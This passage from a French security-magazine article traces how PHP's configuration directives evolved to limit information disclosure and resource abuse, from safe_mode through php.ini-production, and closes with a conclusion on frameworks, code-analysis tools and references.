PHP intégrait un mode de sécurité safe mode pour tenter de résoudre les problèmes de sécurité rencontrés quand PHP est partagé par plusieurs utilisateurs sur un serveur Web et qu’il est installé en tant que module Apache. Dans ce cas, PHP hérite des permissions de l’utilisateur Apache, ce qui permet à un script de l’utilisateur X d’accéder à des scripts écrits par l’utilisateur Y. Le safe mode vérifiait que le propriétaire du script était bien propriétaire du fichier ou répertoire passé à une fonction de manipulation de fichier. Disponibles de PHP/FI jusqu’à PHP 5.3, les directives safe_mode* ont été supprimées dans la version 5.4. Ceci est dû d’une part au fait que les développeurs de PHP estimaient qu’il était incorrect de tenter de résoudre ce problème au niveau de PHP, d’autre part l’administration de serveurs Web a évolué depuis les premières versions qui hébergeaient un grand nombre de comptes. La virtualisation, l’utilisation de FastCGI ou de modules Apache pour exécuter les scripts PHP avec les permissions du propriétaire ont rendu l’utilisation de cette directive obsolète.

7 Limiter la révélation d’informations

Si un pirate obtient des informations sur l’application, le système, le serveur, la version de PHP, il pourra plus facilement exploiter des failles de sécurité connues ou identifier des vulnérabilités. Il est donc important de supprimer ou masquer les informations qui pourraient l'aider, à l'aide de directives PHP qui limitent la révélation d'informations.

La version 4 de PHP a introduit la directive expose_php, il faut lui donner la valeur off afin de supprimer l’en-tête HTTP X-Powered-By. Celui-ci renseigne sur la version de PHP installée sur le serveur Web. La directive contrôle également l’affichage des crédits et images dans les versions antérieures à la 5.5, à partir d’une chaîne de requête spéciale, telle que ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42.

La directive disable_functions, introduite en juin 2000, peut être utilisée pour désactiver les fonctions qui fournissent des informations sur PHP (phpinfo, phpcredits, phpversion, zend_version) ou le système (php_uname).

Lorsque l’administrateur a réglé le serveur Web pour masquer le langage de script (noms de scripts sans l’extension php), il faut penser à changer le nom du jeton de session avec la directive session.name (sa valeur par défaut est PHPSESSID).

Les messages d’erreur, utiles pour déboguer un script lors de la phase de développement, ne devraient pas apparaître sur un serveur en production, car ils fournissent des informations sensibles. Ils peuvent indiquer à un pirate des chemins sur le disque, le contenu d’une requête SQL voire des informations sur le schéma ou la connexion à la base. Dès PHP/FI, il était possible de supprimer l’affichage des erreurs avec la fonction SetErrorReporting(0). PHP 3 a introduit des directives dans le fichier de configuration afin de désactiver facilement l’envoi des erreurs au navigateur et de les placer dans un fichier de logs (display_errors,error_log, log_errors).

8 Contrôler les ressources utilisées

Afin de protéger le serveur d’une consommation excessive de ressources, due à des scripts mal programmés (boucles infinies...) ou à l’exploitation de vulnérabilités, il est possible d’effectuer des réglages avec des directives PHP. Elles permettent de contribuer à la lutte contre le déni de service, en limitant la consommation CPU, mémoire et disque.

PHP 3 a introduit des directives pour limiter le temps d’exécution du script (max_execution_time), la mémoire maximale qu’un script peut allouer (memory_limit) et la taille maximale autorisée pour les fichiers téléchargés (upload_max_filesize). PHP 4 a ajouté des directives pour limiter la taille maximale de données reçues par la méthode POST (post_max_size), définir la profondeur maximale des variables d’entrées (max_input_nesting_level), limiter le temps de traitement des données provenant de la requête HTTP (max_input_time). La consommation de ressources liée aux expressions rationnelles peut également être contrôlée depuis PHP 5.2 (pcre.backtrack_limit, pcre.recursion_limit). La version 5.3.9 de PHP a mis à disposition un contrôle sur le nombre de variables d’entrées acceptées pour protéger contre le déni de service (max_input_vars).

9 Évolution de la sécurité dans le fichier de configuration de PHP

Le comportement de PHP est contrôlé par un fichier de configuration, qui a été introduit dans la version 3, sous le nom php3.ini. Il comportait à l'origine quelques réglages de sécurité : limitation de l’utilisation de ressources, de la révélation d’informations, ainsi que les directives safe_mode et magic_quotes*.

La version 4 a ajouté des directives permettant un réglage plus fin de la sécurité, le fichier a été renommé php.ini. La distribution incluait deux versions du fichier de configuration, dont un avec des réglages rendant PHP plus efficace et plus sécurisé. PHP 4 propose des directives pour supprimer l’injection de variables dans le contexte global, limiter l’utilisation des ressources, régler la sécurité des sessions, interdire l’ouverture d’URL dans les fonctions manipulant des fichiers, limiter l’ouverture de fichiers à une arborescence de répertoires, interdire le téléversement de fichiers, interdire l’utilisation de fonctions ou de classes (disable_functions, disable_classes).

Depuis PHP 5.3, le fichier est proposé en deux versions : php.ini-development et php.ini-production. Le premier contient les réglages recommandés dans un environnement de développement, tandis que le second doit être utilisé dans un environnement de production. PHP 5 a introduit la protection contre les injections de fichiers (allow_url_include) et contre le vol de cookie (session.cookie_httponly), ainsi que la possibilité de filtrer et nettoyer automatiquement les entrées utilisateurs (filter.default, filter.default_flags).

Au fil des versions, des directives ont été ajoutées afin de lutter contre différents problèmes de sécurité. PHP a réalisé des réglages plus stricts, axés par défaut sur la sécurité et a défini un fichier de configuration adapté à un environnement de production. Cela dénote un souci constant de prise en compte de la sécurité et d’adaptation aux techniques de prévention dans la lutte contre le piratage.

Conclusion

Le Web fait face depuis de nombreuses années à une explosion de l’exploitation des vulnérabilités. Dans ce contexte, il est important qu’un langage sache évoluer rapidement pour fournir des fonctions et des réglages de sécurité permettant de lutter efficacement. PHP, qui à ses débuts privilégiait la simplicité notamment dans l’accès aux données provenant de l’utilisateur, a su évoluer rapidement pour proposer des manières plus sécurisées d’accéder aux données, tout en conservant une souplesse d’utilisation pour les développeurs. De nombreuses directives permettent aux administrateurs systèmes de régler finement la sécurité dans le fichier de configuration qui est proposé en deux versions, développement et production, la seconde offrant la sécurité optimale. PHP fournit aux développeurs un grand nombre de fonctions pour filtrer les entrées et protéger les sorties, deux étapes essentielles et obligatoires dans la sécurisation d’une application Web.

Les développeurs Web, qu’ils soient débutants ou confirmés, sont de plus en plus sensibilisés à la sécurité. L’utilisation d’ORM et de framework PHP MVC, qui se généralise depuis une dizaine d’années, a permis de franchir une nouvelle étape dans la sécurisation des applications. En effet, ceux-ci intègrent nativement, ou par l’ajout de modules, des filtrages et des protections contre le XSS, les injections SQL, le CSRF. Les frameworks gèrent l’authentification et les autorisations, valident et filtrent les formulaires, protègent les sorties vers le navigateur.

L’évolution du langage et de ses paramètres, la prise de conscience des développeurs et l’utilisation de bibliothèques et frameworks a permis de développer des applications PHP qui ne contiennent pas plus de vulnérabilités que les applications écrites dans d’autres langages. Selon le rapport annuel de WhiteHat [10], basé sur un peu plus de 30 000 sites, le choix du langage de programmation n’affecte pas le nombre de vulnérabilités moyen détecté dans les sites Web.

La prochaine étape à franchir dans la lutte contre le piratage est la généralisation de l’utilisation d’outils pour tester la sécurité du code et détecter les vulnérabilités pendant tout le processus de développement, avant la mise en production. Ces outils sont essentiels, car l’explosion du nombre d’applications et sites Web hébergés, leur complexité croissante, l’augmentation du nombre de points d’entrées avec l’utilisation massive d’AJAX, rendent une vérification manuelle difficile, voire impossible. La recherche des vulnérabilités dans une application Web peut être réalisée automatiquement en effectuant une analyse statique ou une analyse dynamique. Les outils d’analyse statique lisent et analysent le code source afin de détecter des failles potentielles, sans exécuter le programme. Ils sont difficiles à implémenter et il y en a peu pour PHP. RIPS [11] très efficace pour détecter les XSS, les injections SQL et d’autres vulnérabilités dans le code PHP est limité à la programmation procédurale. L’outil est en cours de réécriture [12], il intégrera un support limité de la programmation orientée objet. Une autre approche est l’analyse dynamique qui consiste à rechercher des vulnérabilités lors de l’exécution de l’application, sur une machine de développement. Les scanners recherchent des failles potentielles de l'application, ils permettent de détecter très tôt dans le cycle de vie de l’application des vulnérabilités à corriger.

PHP a évolué, le langage n’est pas moins sûr qu’un autre. La plupart des attaques sont rendues possibles par un contrôle des données inexistant ou insuffisant, une mise à disposition de données sensibles, des contrôles d’autorisation et d’authentification inexistants ou insuffisants, l’absence ou une mauvaise protection des sorties. Ces vulnérabilités sont principalement introduites par les développeurs. Nul doute que l’utilisation massive d’outils d’aide au développement ainsi que la généralisation de l’utilisation de scanners, permettront le développement d’applications Web PHP fiables et sécurisées.

Références

[1] Enquête mensuelle Netcraft sur les serveurs Web : http://news.netcraft.com/archives/category/Web-server-survey/

[2] Blog officiel de Google : http://googleblog.blogspot.ca/2008/07/we-knew-Web-was-big.html

[3] Exploration et indexation Google, les dessous de la recherche : http://www.google.com/insidesearch/howsearchworks/thestory/

[4] Rapport de Veracode sur la sécurité des logiciels :  http://www.veracode.com/resources/state-of-software-security

[5] Top 10 de l'OWASP : les dix risques de sécurité applicatifs Web les plus critiques : https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

[6] Rapport annuel Symantec « Internet Security Threat Report 2014 », volume 19 : http://www.symantec.com/fr/fr/security_response/publications/threatreport.jsp

[7] Section sécurité du manuel PHP : http://php.net/manual/fr/security.php

[8] Injections de variables : http://php.net/manual/fr/security.globals.php

[9] Extension de filtrage des données : http://php.net/manual/fr/book.filter.php

[10] Rapport annuel de WhiteHat sur la sécurité des sites Web : http://info.whitehatsec.com/rs/whitehatsecurity/images/statsreport2014-20140410.pdf

[11] Outil RIPS d'analyse statique de code PHP : http://rips-scanner.sourceforge.net/

[12] Description du prototype du successeur de RIPS : http://syssec.rub.de/media/emma/veroeffentlichungen/2014/01/21/rips-NDSS14.pdf

 



Article rédigé par

Par le(s) même(s) auteur(s)

Les derniers articles Premiums

Les derniers articles Premium

Quarkus : applications Java pour conteneurs

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Initié par Red Hat, il y a quelques années le projet Quarkus a pris son envol et en est désormais à sa troisième version majeure. Il propose un cadre d’exécution pour une application de Java radicalement différente, où son exécution ultra optimisée en fait un parfait candidat pour le déploiement sur des conteneurs tels que ceux de Docker ou Podman. Quarkus va même encore plus loin, en permettant de transformer l’application Java en un exécutable natif ! Voici une rapide introduction, par la pratique, à cet incroyable framework, qui nous offrira l’opportunité d’illustrer également sa facilité de prise en main.

De la scytale au bit quantique : l’avenir de la cryptographie

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Imaginez un monde où nos données seraient aussi insaisissables que le célèbre chat de Schrödinger : à la fois sécurisées et non sécurisées jusqu'à ce qu'un cryptographe quantique décide d’y jeter un œil. Cet article nous emmène dans les méandres de la cryptographie quantique, où la physique quantique n'est pas seulement une affaire de laboratoires, mais la clé d'un futur numérique très sécurisé. Entre principes quantiques mystérieux, défis techniques, et applications pratiques, nous allons découvrir comment cette technologie s'apprête à encoder nos données dans une dimension où même les meilleurs cryptographes n’y pourraient rien faire.

Les nouvelles menaces liées à l’intelligence artificielle

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Sommes-nous proches de la singularité technologique ? Peu probable. Même si l’intelligence artificielle a fait un bond ces dernières années (elle est étudiée depuis des dizaines d’années), nous sommes loin d’en perdre le contrôle. Et pourtant, une partie de l’utilisation de l’intelligence artificielle échappe aux analystes. Eh oui ! Comme tout système, elle est utilisée par des acteurs malveillants essayant d’en tirer profit pécuniairement. Cet article met en exergue quelques-unes des applications de l’intelligence artificielle par des acteurs malveillants et décrit succinctement comment parer à leurs attaques.

Les listes de lecture

11 article(s) - ajoutée le 01/07/2020
Clé de voûte d'une infrastructure Windows, Active Directory est l'une des cibles les plus appréciées des attaquants. Les articles regroupés dans cette liste vous permettront de découvrir l'état de la menace, les attaques et, bien sûr, les contre-mesures.
8 article(s) - ajoutée le 13/10/2020
Découvrez les méthodologies d'analyse de la sécurité des terminaux mobiles au travers d'exemples concrets sur Android et iOS.
10 article(s) - ajoutée le 13/10/2020
Vous retrouverez ici un ensemble d'articles sur les usages contemporains de la cryptographie (whitebox, courbes elliptiques, embarqué, post-quantique), qu'il s'agisse de rechercher des vulnérabilités ou simplement comprendre les fondamentaux du domaine.
Voir les 66 listes de lecture

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous